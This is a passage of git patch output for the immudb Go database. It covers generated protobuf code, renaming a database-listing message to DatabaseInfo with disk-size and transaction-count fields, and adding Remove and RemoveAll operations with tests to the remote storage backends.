0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, - 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, - 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, - 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, - 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, - 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, - 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, - 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, - 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, - 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, - 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, - 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, + 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, + 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, + 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, + 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x62, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, + 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, + 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, + 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, + 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, + 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, + 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, + 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, + 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, + 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, + 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, + 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, + 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, + 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, + 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, + 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10663,7 +10684,7 @@ var file_schema_proto_goTypes = []interface{}{ (*DatabaseListResponse)(nil), // 104: immudb.schema.DatabaseListResponse (*DatabaseListRequestV2)(nil), // 105: immudb.schema.DatabaseListRequestV2 (*DatabaseListResponseV2)(nil), // 106: immudb.schema.DatabaseListResponseV2 - (*DatabaseWithSettings)(nil), // 107: immudb.schema.DatabaseWithSettings + (*DatabaseInfo)(nil), // 107: immudb.schema.DatabaseInfo (*Chunk)(nil), // 108: immudb.schema.Chunk (*UseSnapshotRequest)(nil), // 109: immudb.schema.UseSnapshotRequest (*SQLExecRequest)(nil), // 110: immudb.schema.SQLExecRequest @@ -10829,8 +10850,8 @@ var file_schema_proto_depIdxs = []int32{ 132, // 130: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry 1, // 131: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction 69, // 132: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 107, // 133: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 83, // 134: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 107, // 133: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo + 83, // 134: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings 133, // 135: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry 112, // 136: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam 112, // 137: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam @@ -12254,7 +12275,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseWithSettings); i { + switch v := v.(*DatabaseInfo); i { case 0: return &v.state case 1: diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 8da2fac86e..9effd16a90 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1360,10 +1360,10 @@ message DatabaseListRequestV2 {} message DatabaseListResponseV2 { // Database list with current database settings - repeated DatabaseWithSettings databases = 1; + repeated DatabaseInfo databases = 1; } -message DatabaseWithSettings { +message DatabaseInfo { // Database name string name = 1; @@ -1372,6 +1372,12 @@ message DatabaseWithSettings { // If true, this database is currently loaded into memory bool loaded = 3; + + // database disk size + uint64 diskSize = 4; + + // total number of transactions + uint64 numTransactions = 5; } message Chunk { diff --git a/pkg/server/server.go b/pkg/server/server.go index 8ec6477832..b2126cde79 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1437,13 +1437,48 @@ func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseLis return nil, fmt.Errorf("this command is available only with authentication on") } + resp := &schema.DatabaseListResponseV2{} + + databases, err := s.listLoggedInUserDatabases(ctx) + if err != nil { + return nil, err + } + + for _, db := range databases { + dbOpts, err := s.loadDBOptions(db.GetName(), false) + if err != nil { + return nil, err + } + + size, err := db.Size() + if err != nil { + return nil, err + } + + txCount, err := db.TxCount() + if err != nil { + return nil, err + } + + info := &schema.DatabaseInfo{ + Name: db.GetName(), + Settings: dbOpts.databaseNullableSettings(), + Loaded: !db.IsClosed(), + DiskSize: size, + NumTransactions: txCount, + } + resp.Databases = append(resp.Databases, info) + } + return resp, nil +} + +func (s *ImmuServer) listLoggedInUserDatabases(ctx context.Context) ([]database.DB, error) { _, loggedInuser, err := s.getLoggedInUserdataFromCtx(ctx) if err != nil { return nil, fmt.Errorf("please login") } - resp := &schema.DatabaseListResponseV2{} - + databases := make([]database.DB, 0, s.dbList.Length()) if loggedInuser.IsSysAdmin || s.Options.GetMaintenance() { for i := 0; i < s.dbList.Length(); i++ { db, err := s.dbList.GetByIndex(i) @@ -1453,19 +1488,7 @@ func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseLis if err != nil { return nil, err } - - dbOpts, err := s.loadDBOptions(db.GetName(), false) - if err != nil { - return nil, err - } - - dbWithSettings := &schema.DatabaseWithSettings{ - Name: db.GetName(), - Settings: dbOpts.databaseNullableSettings(), - Loaded: !db.IsClosed(), - } - - resp.Databases = append(resp.Databases, dbWithSettings) + databases = append(databases, db) } } else { for _, perm := range loggedInuser.Permissions { @@ -1476,23 +1499,10 @@ func (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseLis if err != nil { return nil, err } - - dbOpts, err := s.loadDBOptions(perm.Database, false) - if err != nil { - return nil, err - } - - dbWithSettings := &schema.DatabaseWithSettings{ - Name: perm.Database, - Settings: dbOpts.databaseNullableSettings(), - Loaded: !db.IsClosed(), - } - - resp.Databases = append(resp.Databases, dbWithSettings) + databases = append(databases, db) } } - - return resp, nil + return databases, nil } // UseDatabase ... From e56001c423fa301295cac1919e55aaa8bfa1bf0c Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 3 May 2024 14:31:54 +0200 Subject: [PATCH 1010/1062] Support index compaction on remote s3 storage Signed-off-by: Stefano Scafiti --- embedded/appendable/remoteapp/remote_app.go | 2 +- .../appendable/remoteapp/remote_app_test.go | 8 +++ embedded/remotestorage/memory/memory.go | 34 +++++++++-- embedded/remotestorage/memory/memory_test.go | 43 ++++++++++++++ embedded/remotestorage/remote_storage.go | 8 ++- embedded/remotestorage/s3/s3.go | 57 +++++++++++++++++- .../remotestorage/s3/s3_with_minio_test.go | 45 +++++++++++++- embedded/store/immustore.go | 4 +- embedded/store/immustore_test.go | 4 +- embedded/store/indexer.go | 10 ++-- embedded/store/options.go | 9 +++ embedded/tbtree/options.go | 8 +++ embedded/tbtree/tbtree.go | 36 ++++++++---- pkg/server/remote_storage.go | 55 ++++++++++++------ pkg/server/remote_storage_test.go | 58 ++++++++++++++++--- 15 files changed, 323 insertions(+), 58 deletions(-) diff --git a/embedded/appendable/remoteapp/remote_app.go b/embedded/appendable/remoteapp/remote_app.go index 2fed2fb195..bf86d16637 100644 --- a/embedded/appendable/remoteapp/remote_app.go +++ b/embedded/appendable/remoteapp/remote_app.go @@ -147,7 +147,7 @@ func (r *RemoteStorageAppendable) uploadFinished(chunkID int64, state chunkState r.mutex.Lock() defer r.mutex.Unlock() - log.Printf("Uploadnig of chunk %d finished in state: %v", chunkID, state) + log.Printf("Uploading of chunk %d finished in state: %v", chunkID, state) r.chunkInfos[chunkID].state = state r.chunkInfos[chunkID].cancelUpload = nil diff --git a/embedded/appendable/remoteapp/remote_app_test.go b/embedded/appendable/remoteapp/remote_app_test.go index d43d6b0a8c..013dcdbef4 100644 --- a/embedded/appendable/remoteapp/remote_app_test.go +++ b/embedded/appendable/remoteapp/remote_app_test.go @@ -422,6 +422,14 @@ func (r *remoteStorageMockingWrapper) Put(ctx context.Context, name string, file return r.wrapped.Put(ctx, name, fileName) } +func (r *remoteStorageMockingWrapper) Remove(ctx context.Context, name string) error { + panic("unimplemented") +} + +func (r *remoteStorageMockingWrapper) RemoveAll(ctx context.Context, path string) error { + panic("unimplemented") +} + func (r *remoteStorageMockingWrapper) Exists(ctx context.Context, name string) (bool, error) { if r.fnExists != nil { return r.fnExists(ctx, name, func() (bool, error) { diff --git a/embedded/remotestorage/memory/memory.go b/embedded/remotestorage/memory/memory.go index b5d8945140..2c2ad483d1 100644 --- a/embedded/remotestorage/memory/memory.go +++ b/embedded/remotestorage/memory/memory.go @@ -117,6 +117,28 @@ func (r *Storage) Put(ctx context.Context, name string, fileName string) error { return nil } +func (r *Storage) Remove(ctx context.Context, name string) error { + if validPath(name) { + return ErrInvalidArguments + } + + delete(r.objects, name) + return nil +} + +func (r *Storage) RemoveAll(ctx context.Context, path string) error { + if !validPath(path) { + return ErrInvalidArguments + } + + for key := range r.objects { + if strings.HasPrefix(key, path) { + delete(r.objects, key) + } + } + return nil +} + // Exists checks if a remove resource exists and can be read // Note that due to an asynchronous nature of cluod storage, // a resource stored with the Put method may not be immediately accessible @@ -132,12 +154,8 @@ func (r *Storage) ListEntries(ctx context.Context, path string) ([]remotestorage r.mutex.Lock() defer r.mutex.Unlock() - if path != "" { - if !strings.HasSuffix(path, "/") || - strings.Contains(path, "//") || - path == "/" { - return nil, nil, ErrInvalidArguments - } + if !validPath(path) { + return nil, nil, ErrInvalidArguments } subPathSet := map[string]struct{}{} @@ -178,4 +196,8 @@ func (r *Storage) SetRandomPutDelays(minMs, maxMs int) { r.randomPutDelayMaxMs = maxMs } +func validPath(path string) bool { + return path == "" || (strings.HasSuffix(path, "/") && !strings.Contains(path, "//") && path != "/") +} + var _ remotestorage.Storage = (*Storage)(nil) diff --git a/embedded/remotestorage/memory/memory_test.go b/embedded/remotestorage/memory/memory_test.go index 65436244ae..e2a72cf706 100644 --- a/embedded/remotestorage/memory/memory_test.go +++ b/embedded/remotestorage/memory/memory_test.go @@ -223,3 +223,46 @@ func TestRemoteStorageListEntriesInvalidArgs(t *testing.T) { }) } } + +func TestRemoteStorageRemove(t *testing.T) { + storage := Open() + + storeData(t, storage, "path/file1", "") + storeData(t, storage, "path/file2", "abc") + storeData(t, storage, "path/subPath/file1", "defg") + storeData(t, storage, "path/subPath/file2", "jklmnop") + storeData(t, storage, "path/subPath/file3", "jklmnop") + storeData(t, storage, "path/subPath/subPath1/file", 